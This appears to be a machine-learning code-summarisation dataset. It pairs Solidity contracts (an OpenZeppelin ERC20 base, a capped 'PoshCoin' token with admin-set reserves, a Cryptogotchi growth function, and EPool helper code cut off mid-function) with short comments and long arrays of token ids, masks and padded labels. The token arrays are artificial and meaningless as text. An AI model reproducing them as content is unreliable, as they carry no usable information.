`amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } // File: @openzeppelin/contracts/access/Roles.sol pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: @openzeppelin/contracts/access/roles/MinterRole.sol pragma solidity ^0.5.0; contract MinterRole is Context { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(_msgSender()); } modifier onlyMinter() { require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(_msgSender()); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } // File: @openzeppelin/contracts/token/ERC20/ERC20Mintable.sol pragma solidity ^0.5.0; /** * @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole}, * which have permission to mint (create) new tokens as they see fit. * * At construction, the deployer of the contract is the only minter. */ contract ERC20Mintable is ERC20, MinterRole { /** * @dev See {ERC20-_mint}. * * Requirements: * * - the caller must have the {MinterRole}. */ function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; } } // File: @openzeppelin/contracts/token/ERC20/ERC20Capped.sol pragma solidity ^0.5.0; /** * @dev Extension of {ERC20Mintable} that adds a cap to the supply of tokens. */ contract ERC20Capped is ERC20Mintable { uint256 private _cap; /** * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. */ constructor (uint256 cap) public { require(cap > 0, "ERC20Capped: cap is 0"); _cap = cap; } /** * @dev Returns the cap on the token's total supply. */ function cap() public view returns (uint256) { return _cap; } /** * @dev See {ERC20Mintable-mint}. * * Requirements: * * - `value` must not cause the total supply to go over the cap. */ function _mint(address account, uint256 value) internal { require(totalSupply().add(value) <= _cap, "ERC20Capped: cap exceeded"); super._mint(account, value); } } // File: @openzeppelin/contracts/token/ERC20/ERC20Detailed.sol pragma solidity ^0.5.0; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } // File: contracts/PoshCoin.sol pragma solidity >=0.5.0; /** * @title PoshCoin contract */ contract PoshCoin is ERC20Capped, ERC20Detailed { uint noOfTokens = 1000000000; // 1,000,000,000(1B) // Address of posh coin vault // The vault will have all the posh coin issued. address internal vault; // Address of posh coin owner // The owner can change admin and vault address. address internal owner; // Address of posh coin admin // The admin can change reserve. The reserve is the amount of token // assigned to some address but not permitted to use. address internal admin; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event VaultChanged(address indexed previousVault, address indexed newVault); event AdminChanged(address indexed previousAdmin, address indexed newAdmin); event ReserveChanged(address indexed _address, uint amount); /** * @dev reserved number of tokens per each address * * To limit token transaction for some period by the admin, * each address' balance cannot become lower than this amount * */ mapping(address => uint) public reserves; /** * @dev modifier to limit access to the owner only */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev limit access to the vault only */ modifier onlyVault() { require(msg.sender == vault); _; } /** * @dev limit access to the admin only */ modifier onlyAdmin() { require(msg.sender == admin); _; } /** * @dev limit access to owner or vault */ modifier onlyOwnerOrVault() { require(msg.sender == owner || msg.sender == vault); _; } /** * @dev initialize QRC20(ERC20) * * all token will deposit into the vault * later, the vault, owner will be multi sign contract to protect privileged operations * * @param _symbol token symbol * @param _name token name * @param _owner owner address * @param _admin admin address * @param _vault vault address * * Cap the mintable amount to 88.8B(88,800,000,000) * */ constructor (string memory _symbol, string memory _name, address _owner, address _admin, address _vault) ERC20Detailed(_name, _symbol, 9) ERC20Capped(88800000000000000000) public { require(bytes(_symbol).length > 0); require(bytes(_name).length > 0); owner = _owner; admin = _admin; vault = _vault; // mint coins to the vault _mint(vault, noOfTokens * (10 ** uint(decimals()))); } /** * @dev change the amount of reserved token * * @param _address the target address whose token will be frozen for future use * @param _reserve the amount of reserved token * */ function setReserve(address _address, uint _reserve) public onlyAdmin { require(_reserve <= totalSupply()); require(_address != address(0)); reserves[_address] = _reserve; emit ReserveChanged(_address, _reserve); } /** * @dev transfer token from sender to other * the result balance should be greater than or equal to the reserved token amount */ function transfer(address _to, uint256 _value) public returns (bool) { // check the reserve require(balanceOf(msg.sender).sub(_value) >= reserveOf(msg.sender)); return super.transfer(_to, _value); } /** * @dev change vault address * * @param _newVault new vault address */ function setVault(address _newVault) public onlyOwner { require(_newVault != address(0)); require(_newVault != vault); address _oldVault = vault; // change vault address vault = _newVault; emit VaultChanged(_oldVault, _newVault); } /** * @dev change owner address * @param _newOwner new owner address */ function setOwner(address _newOwner) public onlyVault { require(_newOwner != address(0)); require(_newOwner != owner); emit OwnerChanged(owner, _newOwner); owner = _newOwner; } /** * @dev change admin address * @param _newAdmin new admin address */ function setAdmin(address _newAdmin) public onlyOwnerOrVault { require(_newAdmin != address(0)); require(_newAdmin != admin); emit AdminChanged(admin, _newAdmin); admin = _newAdmin; } /** * @dev Transfer tokens from one address to another * * The _from's posh balance should be larger than the reserved amount(reserves[_from]) plus _value. * * NOTE: no one can tranfer from vault * */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_from != vault); require(_value <= balanceOf(_from).sub(reserves[_from])); return super.transferFrom(_from, _to, _value); } function getOwner() public view returns (address) { return owner; } function getVault() public view returns (address) { return vault; } function getAdmin() public view returns (address) { return admin; } function getOnePoshCoin() public view returns (uint) { return (10 ** uint(decimals())); } /** * @dev get the amount of reserved token */ function reserveOf(address _address) public view returns (uint _reserve) { return reserves[_address]; } /** * @dev get the amount reserved token of the sender */ function reserve() public view returns (uint _reserve) { return reserves[msg.sender]; } }
mint coins to the vault
public { require(bytes(_symbol).length > 0); require(bytes(_name).length > 0); owner = _owner; admin = _admin; vault = _vault; _mint(vault, noOfTokens * (10 ** uint(decimals()))); }
1,304,582
[ 1, 81, 474, 276, 9896, 358, 326, 9229, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1071, 288, 203, 3639, 2583, 12, 3890, 24899, 7175, 2934, 2469, 405, 374, 1769, 203, 3639, 2583, 12, 3890, 24899, 529, 2934, 2469, 405, 374, 1769, 203, 203, 3639, 3410, 273, 389, 8443, 31, 203, 3639, 3981, 273, 389, 3666, 31, 203, 3639, 9229, 273, 389, 26983, 31, 203, 203, 3639, 389, 81, 474, 12, 26983, 16, 1158, 951, 5157, 380, 261, 2163, 2826, 2254, 12, 31734, 1435, 3719, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x0Cd4aB3C76E1F452d951118c8a3861Ca533cef09/sources/Cryptogotchi.sol
find growth stage for feeding, dead or alive
function growthStage(uint256 tokenId) public view returns (DeviceState) { Device memory device = unit[tokenId]; if (device.createdAt == 0) return DeviceState.Unsold; if (device.createdAt == MAX_TIMESTAMP) return DeviceState.Egg; uint256 elapsed = block.timestamp.sub(device.createdAt); uint256 fullCycles = uint256(elapsed).div(ONE_DAY); uint256 modulo = elapsed.mod(ONE_DAY); if (device.feedLevel > fullCycles) return findGeneration(device.generation); if (device.feedLevel == fullCycles && modulo < ONE_HOUR.mul(device.generation)) { return findGeneration(device.generation); } return DeviceState.Dead; }
816,955
[ 1, 4720, 13334, 451, 6009, 364, 4746, 310, 16, 8363, 578, 13714, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 13334, 451, 8755, 12, 11890, 5034, 1147, 548, 13, 1071, 1476, 1135, 261, 3654, 1119, 13, 288, 203, 3639, 6077, 3778, 2346, 273, 2836, 63, 2316, 548, 15533, 203, 540, 203, 3639, 309, 261, 5964, 18, 4824, 861, 422, 374, 13, 327, 6077, 1119, 18, 984, 87, 1673, 31, 203, 3639, 309, 261, 5964, 18, 4824, 861, 422, 4552, 67, 17201, 13, 327, 6077, 1119, 18, 41, 14253, 31, 203, 540, 203, 3639, 2254, 5034, 9613, 273, 1203, 18, 5508, 18, 1717, 12, 5964, 18, 4824, 861, 1769, 203, 3639, 2254, 5034, 1983, 17992, 9558, 273, 2254, 5034, 12, 26201, 2934, 2892, 12, 5998, 67, 10339, 1769, 203, 3639, 2254, 5034, 26109, 273, 9613, 18, 1711, 12, 5998, 67, 10339, 1769, 203, 203, 3639, 309, 261, 5964, 18, 7848, 2355, 405, 1983, 17992, 9558, 13, 327, 1104, 13842, 12, 5964, 18, 25514, 1769, 203, 203, 3639, 309, 261, 5964, 18, 7848, 2355, 422, 1983, 17992, 9558, 597, 26109, 411, 15623, 67, 21372, 18, 16411, 12, 5964, 18, 25514, 3719, 225, 288, 203, 5411, 327, 1104, 13842, 12, 5964, 18, 25514, 1769, 203, 3639, 289, 203, 203, 3639, 327, 6077, 1119, 18, 11852, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xa3a592a37803f48da9cA6c0558Ef1Fe96181c175/sources/contracts/orderbook/OrderBook.sol
@dev Value that signifies that an order is dead in the internal mapping.
uint256 constant DEAD_ORDER = 0;
17,080,221
[ 1, 620, 716, 1573, 5032, 716, 392, 1353, 353, 8363, 316, 326, 2713, 2874, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 11890, 5034, 5381, 2030, 1880, 67, 7954, 273, 374, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; import "./interfaces/IEPoolHelper.sol"; import "./interfaces/IEPool.sol"; import "./EPoolLibrary.sol"; contract EPoolHelper is IEPoolHelper { function currentRatio(IEPool ePool, address eToken) external view override returns(uint256) { return EPoolLibrary.currentRatio(ePool.getTranche(eToken), ePool.getRate(), ePool.sFactorA(), ePool.sFactorB()); } function delta( IEPool ePool ) external view override returns (uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv) { return EPoolLibrary.delta(ePool.getTranches(), ePool.getRate(), ePool.sFactorA(), ePool.sFactorB()); } function eTokenForTokenATokenB( IEPool ePool, address eToken, uint256 amountA, uint256 amountB ) external view override returns (uint256) { return EPoolLibrary.eTokenForTokenATokenB( ePool.getTranche(eToken), amountA, amountB, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB() ); } function tokenATokenBForEToken( IEPool ePool, address eToken, uint256 amount ) external view override returns (uint256 amountA, uint256 amountB) { return EPoolLibrary.tokenATokenBForEToken( ePool.getTranche(eToken), amount, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB() ); } function tokenATokenBForTokenA( IEPool ePool, address eToken, uint256 _totalA ) external view override returns (uint256 amountA, uint256 amountB) { uint256 sFactorA = ePool.sFactorA(); uint256 sFactorB = ePool.sFactorB(); uint256 rate = ePool.getRate(); return EPoolLibrary.tokenATokenBForTokenA( _totalA, EPoolLibrary.currentRatio(ePool.getTranche(eToken), rate, sFactorA, sFactorB), rate, sFactorA, sFactorB ); } function tokenATokenBForTokenB( IEPool ePool, address eToken, uint256 _totalB ) external view override returns (uint256 amountA, uint256 amountB) { uint256 sFactorA = ePool.sFactorA(); uint256 sFactorB = ePool.sFactorB(); uint256 rate = ePool.getRate(); return EPoolLibrary.tokenATokenBForTokenB( _totalB, EPoolLibrary.currentRatio(ePool.getTranche(eToken), rate, sFactorA, sFactorB), rate, sFactorA, sFactorB ); } function tokenBForTokenA( IEPool ePool, address eToken, uint256 amountA ) external view override returns (uint256 amountB) { uint256 sFactorA = ePool.sFactorA(); uint256 sFactorB = ePool.sFactorB(); uint256 rate = ePool.getRate(); return EPoolLibrary.tokenBForTokenA( amountA, EPoolLibrary.currentRatio(ePool.getTranche(eToken), rate, sFactorA, sFactorB), rate, sFactorA, sFactorB ); } function tokenAForTokenB( IEPool ePool, address eToken, uint256 amountB ) external view override returns (uint256 amountA) { uint256 sFactorA = ePool.sFactorA(); uint256 sFactorB = ePool.sFactorB(); uint256 rate = ePool.getRate(); return EPoolLibrary.tokenAForTokenB( amountB, EPoolLibrary.currentRatio(ePool.getTranche(eToken), rate, sFactorA, sFactorB), rate, sFactorA, sFactorB ); } function totalA( IEPool ePool, uint256 amountA, uint256 amountB ) external view override returns (uint256) { return EPoolLibrary.totalA(amountA, amountB, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB()); } function totalB( IEPool ePool, uint256 amountA, uint256 amountB ) external view override returns (uint256) { return EPoolLibrary.totalB(amountA, amountB, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB()); } function feeAFeeBForEToken( IEPool ePool, address eToken, uint256 amount ) external view override returns (uint256 feeA, uint256 feeB) { (uint256 amountA, uint256 amountB) = EPoolLibrary.tokenATokenBForEToken( ePool.getTranche(eToken), amount, ePool.getRate(), ePool.sFactorA(), ePool.sFactorB() ); return EPoolLibrary.feeAFeeBForTokenATokenB(amountA, amountB, ePool.feeRate()); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; import "./IEPool.sol"; interface IEPoolHelper { function currentRatio(IEPool ePool, address eToken) external view returns(uint256); function delta(IEPool ePool) external view returns (uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv); function eTokenForTokenATokenB( IEPool ePool, address eToken, uint256 amountA, uint256 amountB ) external view returns (uint256); function tokenATokenBForEToken( IEPool ePool, address eToken, uint256 amount ) external view returns (uint256 amountA, uint256 amountB); function tokenATokenBForTokenA( IEPool ePool, address eToken, uint256 _totalA ) external view returns (uint256 amountA, uint256 amountB); function tokenATokenBForTokenB( IEPool ePool, address eToken, uint256 _totalB ) external view returns (uint256 amountA, uint256 amountB); function tokenBForTokenA( IEPool ePool, address eToken, uint256 amountA ) external view returns (uint256 amountB); function tokenAForTokenB( IEPool ePool, address eToken, uint256 amountB ) external view returns (uint256 amountA); function totalA( IEPool ePool, uint256 amountA, uint256 amountB ) external view returns (uint256); function totalB( IEPool ePool, uint256 amountA, uint256 amountB ) external view returns (uint256); function feeAFeeBForEToken( IEPool ePool, address eToken, uint256 amount ) external view returns (uint256 feeA, uint256 feeB); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./IEToken.sol"; interface IEPool { struct Tranche { IEToken eToken; uint256 sFactorE; uint256 reserveA; uint256 reserveB; uint256 targetRatio; } function getController() external view returns (address); function setController(address _controller) external returns (bool); function tokenA() external view returns (IERC20); function tokenB() external view returns (IERC20); function sFactorA() external view returns (uint256); function sFactorB() external view returns (uint256); function getTranche(address eToken) external view returns (Tranche memory); function getTranches() external view returns(Tranche[] memory _tranches); function addTranche(uint256 targetRatio, string memory eTokenName, string memory eTokenSymbol) external returns (bool); function getAggregator() external view returns (address); function setAggregator(address oracle, bool inverseRate) external returns (bool); function rebalanceMinRDiv() external view returns (uint256); function rebalanceInterval() external view returns (uint256); function lastRebalance() external view returns (uint256); function feeRate() external view returns (uint256); function cumulativeFeeA() external view returns (uint256); function cumulativeFeeB() external view returns (uint256); function setFeeRate(uint256 _feeRate) external returns (bool); function transferFees() external returns (bool); function getRate() external view returns (uint256); function rebalance(uint256 fracDelta) external returns (uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv); function issueExact(address eToken, uint256 amount) external returns (uint256 amountA, uint256 amountB); function redeemExact(address eToken, uint256 amount) external returns (uint256 amountA, uint256 amountB); function recover(IERC20 token, uint256 amount) external returns (bool); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IETokenFactory.sol"; import "./interfaces/IEToken.sol"; import "./interfaces/IEPool.sol"; import "./utils/TokenUtils.sol"; import "./utils/Math.sol"; library EPoolLibrary { using TokenUtils for IERC20; uint256 internal constant sFactorI = 1e18; // internal scaling factor (18 decimals) /** * @notice Returns the target ratio if reserveA and reserveB are 0 (for initial deposit) * currentRatio := (reserveA denominated in tokenB / reserveB denominated in tokenB) with decI decimals */ function currentRatio( IEPool.Tranche memory t, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns(uint256) { if (t.reserveA == 0 || t.reserveB == 0) { if (t.reserveA == 0 && t.reserveB == 0) return t.targetRatio; if (t.reserveA == 0) return 0; if (t.reserveB == 0) return type(uint256).max; } return ((t.reserveA * rate / sFactorA) * sFactorI) / (t.reserveB * sFactorI / sFactorB); } /** * @notice Returns the deviation of reserveA and reserveB from target ratio * currentRatio > targetRatio: release TokenA liquidity and add TokenB liquidity * currentRatio < targetRatio: add TokenA liquidity and release TokenB liquidity * deltaA := abs(t.reserveA, (t.reserveB / rate * t.targetRatio)) / (1 + t.targetRatio) * deltaB := deltaA * rate */ function trancheDelta( IEPool.Tranche memory t, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 